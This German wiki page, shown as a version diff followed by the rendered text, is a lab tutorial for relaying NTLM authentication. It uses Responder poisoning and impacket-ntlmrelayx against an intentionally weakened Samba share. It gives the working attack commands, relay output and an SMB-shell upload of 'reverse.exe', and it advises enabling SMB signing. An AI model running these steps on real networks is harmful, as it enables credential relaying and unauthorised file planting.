NTLM-Relay auf Samba-Freigabe mit Impacket: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Keine Bearbeitungszusammenfassung
Zeile 1: Zeile 1:
= Funktionierender NTLM-Relay auf Samba mit Impacket =
= NTLM-Relay auf Samba-Freigabe mit Impacket (Laborszenario) =


== Ziel ==
== Ziel ==
Ein Windows-Clients im Netzwerk wird über LLMNR/NBT-NS vergiftet und seine NTLM-Authentifizierung wird auf einen speziell konfigurierten Samba-Server relayed.
Ein Windows-Client im gleichen Netz wird über LLMNR/mDNS vergiftet. Seine NTLM-Authentifizierung wird durch den Angreifer per '''ntlmrelayx''' an einen Samba-Server weitergeleitet. Dort wird dem relayed Benutzer Gastzugriff gewährt, sodass:
* SMB-Zugriff auf die Samba-Freigabe möglich ist
* Eine Datei in die Freigabe hochgeladen werden kann


== Korrigierte Samba-Konfiguration ==
== Voraussetzungen ==
* Angreifer: Kali Linux mit impacket & responder
* Opfer: Windows-Rechner im selben LAN (z. B. 10.0.10.102)
* Ziel: Linux mit Samba (z. B. 10.0.10.104)
* Der Samba-Server erlaubt Gastzugriff auf einen gemeinsamen Share
 
== 1. Samba-Ziel vorbereiten ==
 
*Samba konfigurieren:*
<pre>
<pre>
[global]
[global]
   workgroup = WORKGROUP
   workgroup = WORKGROUP
   server role = standalone server
   server role = standalone server
  security = user
   passdb backend = tdbsam
   passdb backend = tdbsam
   map to guest = Bad Password  # WICHTIG: Geändert von "Bad User"
   map to guest = Bad User
  ntlm auth = yes  # Neu hinzugefügt
  allow insecure wide links = yes  # Neu hinzugefügt
   guest account = nobody
   guest account = nobody


[share]
[share]
  comment = Relayziel
   path = /mnt/media/share
   path = /mnt/media/share
   read only = no
   read only = no
   guest ok = yes
   guest ok = yes
   guest only = yes # Neu hinzugefügt
   public = yes
   browseable = yes
   browseable = yes
   force user = nobody
   force user = nobody
   create mask = 0777
   force group = nogroup
  directory mask = 0777
</pre>
</pre>


== Systemvorbereitung ==
*Verzeichnis vorbereiten:*
mkdir -p /mnt/media/share
chown nobody:nogroup /mnt/media/share
chmod 777 /mnt/media/share
 
*Dienst neustarten:*
systemctl restart smbd
 
== 2. Responder starten (Poisoning-Komponente) ==
 
responder -I eth0
 
→ Vergiftet LLMNR und mDNS-Anfragen im Netz (z. B. wenn User `\\irgendwas` aufruft)
 
== 3. ntlmrelayx vorbereiten ==
 
*Mit interaktiver SMB-Shell starten:*
impacket-ntlmrelayx -t smb://10.0.10.104 -smb2support -i --no-http-server --no-wcf-server --no-raw-server
 
→ Wartet auf NTLM-Anfragen und öffnet SMB-Zugriff zur Samba-Freigabe nach erfolgreichem Relay
 
== 4. Angriff auslösen ==
 
*Auf dem Windows-Opfer:* 
Ausführen oder öffnen eines nicht existenten UNC-Pfades (z. B. via Explorer):
 
\\irgendwas
 
→ Windows versucht Namensauflösung → wird vergiftet → NTLM wird an den Angreifer geschickt → ntlmrelayx leitet weiter
 
== 5. Ergebnis: Interaktive Shell auf Samba-Freigabe ==
 
Nach erfolgreichem Relay erscheint:
<pre>
<pre>
mkdir -p /mnt/media/share
[*] Authenticating against smb://10.0.10.104 as DESKTOP-XXX\USERNAME SUCCEED
chown nobody:nogroup /mnt/media/share
[+] Opening SMB relay connection
chmod 777 /mnt/media/share
[!] Interactive shell opened
systemctl restart smbd nmbd
smb>
</pre>
</pre>


== Angriffsablauf ==
*Dort kann man z. B. eine Datei hochladen:*
upload /tmp/reverse.exe


=== 1. Responder starten ===
== 6. Erfolg prüfen ==
<pre>
responder -I eth0 -w -d --disable-ess
</pre>


=== 2. NTLM-Relay starten ===
Auf dem Samba-Ziel liegt nun eine Datei im Freigabe-Verzeichnis:
<pre>
ls -l /mnt/media/share
impacket-ntlmrelayx -t smb://ZIEL-IP -smb2support -i --no-http-server \
--remove-mic --no-wcf-server --no-raw-server --force-forward
</pre>


=== 3. Angriff auslösen ===
→ Ziel erreicht: SMB-Zugriff über NTLM-Relay hergestellt, Datei erfolgreich übertragen
Auf Windows-Client:
<pre>
\\NICHTEXISTIERENDE-FREIGABE
</pre>


== Erfolgskriterien ==
== Zusammenfassung ==
<pre>
| Komponente | Aufgabe |
1. Responder zeigt eingefangene NTLM-Hashes
|------------|---------|
2. ntlmrelayx zeigt erfolgreiche Authentifizierung
| responder  | Vergiftung von Namensauflösung |
3. Interaktive SMB-Shell wird geöffnet
| ntlmrelayx | Relaying von NTLM auf SMB-Ziel |
4. Datei-Upload möglich (upload BEFEHL)
| Samba      | akzeptiert relayed Authentifizierung als Gast |
</pre>
| Ziel      | Datei auf Samba-Freigabe schreiben |


== Troubleshooting ==
== Hinweise ==
{| class="wikitable"
* Wird der relayed Benutzer nicht akzeptiert, hilft:
|-
** map to guest = Always
! Problem ! Lösung
* Ohne Schreibrechte bringt der Zugriff wenig – Ziel so konfigurieren, dass write möglich ist
|-
* Nur für Labor geeignet – in Produktivnetzen schwer absicherbar (SMB Signing aktivieren!)
| Keine Hashes im Responder | LLMNR/NBT-NS auf Client prüfen (nbtstat -n)
|-
| Authentifizierungsfehler | Samba-Logs prüfen (/var/log/samba/log.smbd)
|-
| Verbindungsprobleme | SMB-Ports (445/tcp) freigeben
|}


== Wichtige Änderungen ==
== Quellen ==
* »map to guest« auf »Bad Password« geändert
* https://github.com/fortra/impacket
* »ntlm auth = yes« explizit aktiviert
* https://wiki.samba.org/index.php/Setting_up_a_Samba_Share
* »allow insecure wide links« hinzugefügt
* Firewall-Regeln angepasst
* »--force-forward« Parameter hinzugefügt

Version vom 18. Mai 2025, 16:23 Uhr

NTLM-Relay auf Samba-Freigabe mit Impacket (Laborszenario)

Ziel

Ein Windows-Client im gleichen Netz wird über LLMNR/mDNS vergiftet. Seine NTLM-Authentifizierung wird durch den Angreifer per ntlmrelayx an einen Samba-Server weitergeleitet. Dort wird dem relayed Benutzer Gastzugriff gewährt, sodass:

  • SMB-Zugriff auf die Samba-Freigabe möglich ist
  • Eine Datei in die Freigabe hochgeladen werden kann

Voraussetzungen

  • Angreifer: Kali Linux mit impacket & responder
  • Opfer: Windows-Rechner im selben LAN (z. B. 10.0.10.102)
  • Ziel: Linux mit Samba (z. B. 10.0.10.104)
  • Der Samba-Server erlaubt Gastzugriff auf einen gemeinsamen Share

1. Samba-Ziel vorbereiten

  • Samba konfigurieren:*
[global]
   workgroup = WORKGROUP
   server role = standalone server
   passdb backend = tdbsam
   map to guest = Bad User
   guest account = nobody

[share]
   comment = Relayziel
   path = /mnt/media/share
   read only = no
   guest ok = yes
   public = yes
   browseable = yes
   force user = nobody
   force group = nogroup
  • Verzeichnis vorbereiten:*
mkdir -p /mnt/media/share
chown nobody:nogroup /mnt/media/share
chmod 777 /mnt/media/share
  • Dienst neustarten:*
systemctl restart smbd

2. Responder starten (Poisoning-Komponente)

responder -I eth0

→ Vergiftet LLMNR und mDNS-Anfragen im Netz (z. B. wenn User `\\irgendwas` aufruft)

3. ntlmrelayx vorbereiten

  • Mit interaktiver SMB-Shell starten:*
impacket-ntlmrelayx -t smb://10.0.10.104 -smb2support -i --no-http-server --no-wcf-server --no-raw-server

→ Wartet auf NTLM-Anfragen und öffnet SMB-Zugriff zur Samba-Freigabe nach erfolgreichem Relay

4. Angriff auslösen

  • Auf dem Windows-Opfer:*

Ausführen oder öffnen eines nicht existenten UNC-Pfades (z. B. via Explorer):

\\irgendwas

→ Windows versucht Namensauflösung → wird vergiftet → NTLM wird an den Angreifer geschickt → ntlmrelayx leitet weiter

5. Ergebnis: Interaktive Shell auf Samba-Freigabe

Nach erfolgreichem Relay erscheint:

[*] Authenticating against smb://10.0.10.104 as DESKTOP-XXX\USERNAME SUCCEED
[+] Opening SMB relay connection
[!] Interactive shell opened
smb>
  • Dort kann man z. B. eine Datei hochladen:*
upload /tmp/reverse.exe

6. Erfolg prüfen

Auf dem Samba-Ziel liegt nun eine Datei im Freigabe-Verzeichnis:

ls -l /mnt/media/share

→ Ziel erreicht: SMB-Zugriff über NTLM-Relay hergestellt, Datei erfolgreich übertragen

Zusammenfassung

| Komponente | Aufgabe | |------------|---------| | responder | Vergiftung von Namensauflösung | | ntlmrelayx | Relaying von NTLM auf SMB-Ziel | | Samba | akzeptiert relayed Authentifizierung als Gast | | Ziel | Datei auf Samba-Freigabe schreiben |

Hinweise

  • Wird der relayed Benutzer nicht akzeptiert, hilft:
    • map to guest = Always
  • Ohne Schreibrechte bringt der Zugriff wenig – Ziel so konfigurieren, dass write möglich ist
  • Nur für Labor geeignet – in Produktivnetzen schwer absicherbar (SMB Signing aktivieren!)

Quellen